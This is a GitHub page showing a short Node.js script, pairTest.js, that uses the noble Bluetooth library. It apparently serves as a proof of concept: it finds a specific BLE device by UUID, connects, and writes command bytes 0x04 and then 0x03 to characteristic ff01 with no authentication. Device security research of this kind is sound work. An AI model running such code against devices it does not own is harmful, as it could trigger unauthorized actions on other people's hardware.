-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpairTest.js
More file actions
82 lines (69 loc) · 1.96 KB
/
pairTest.js
File metadata and controls
82 lines (69 loc) · 1.96 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
// d2be738770db
const Promise = require('bluebird');
const noble = require('noble');
let once = false;
class BeaconScanner {
constructor(filter = []) {
this._filter = filter;
this.onSignal = () => {
};
this._is_scanning = false;
noble.startScanningAsync = Promise.promisify(noble.startScanning);
}
stopScan() {
noble.removeAllListeners('discover');
if (this._is_scanning) {
noble.stopScanning();
this._is_scanning = false;
}
}
startScan() {
return this._init()
.then(() => this._prepareScan());
}
_init() {
if (noble.state === 'poweredOn') {
return Promise.resolve();
}
return new Promise((resolve, reject) => {
noble.once('stateChange', (state) => {
if (state !== 'poweredOn') {
return reject(new Error(`Failed to initialize the Noble object: ${state}`));
}
return resolve();
});
});
}
poc(peripheral) {
peripheral.connect((err) => {
peripheral.discoverServices('0000ff0000001000800000805f9b34fb', (err, [service]) => {
service.discoverCharacteristics('0000ff0100001000800000805f9b34fb', (err, [characteristic]) => {
characteristic.write(Buffer.from('04', 'hex'), false, () => {});
setTimeout(() => {
characteristic.write(Buffer.from('03', 'hex'), false, () => {
peripheral.disconnect();
process.exit(0);
});
}, 5000);
});
});
});
}
_prepareScan() {
return noble.startScanningAsync([], true)
.then(() => {
noble.on('discover', (peripheral) => {
if (!this._filter.length || this._filter.includes(peripheral.uuid)) {
if (!once) {
once = true;
this.onSignal(peripheral);
this.poc(peripheral);
}
}
});
this._is_scanning = true;
});
}
}
scanner = new BeaconScanner(['71bc234c725b']);
scanner.startScan();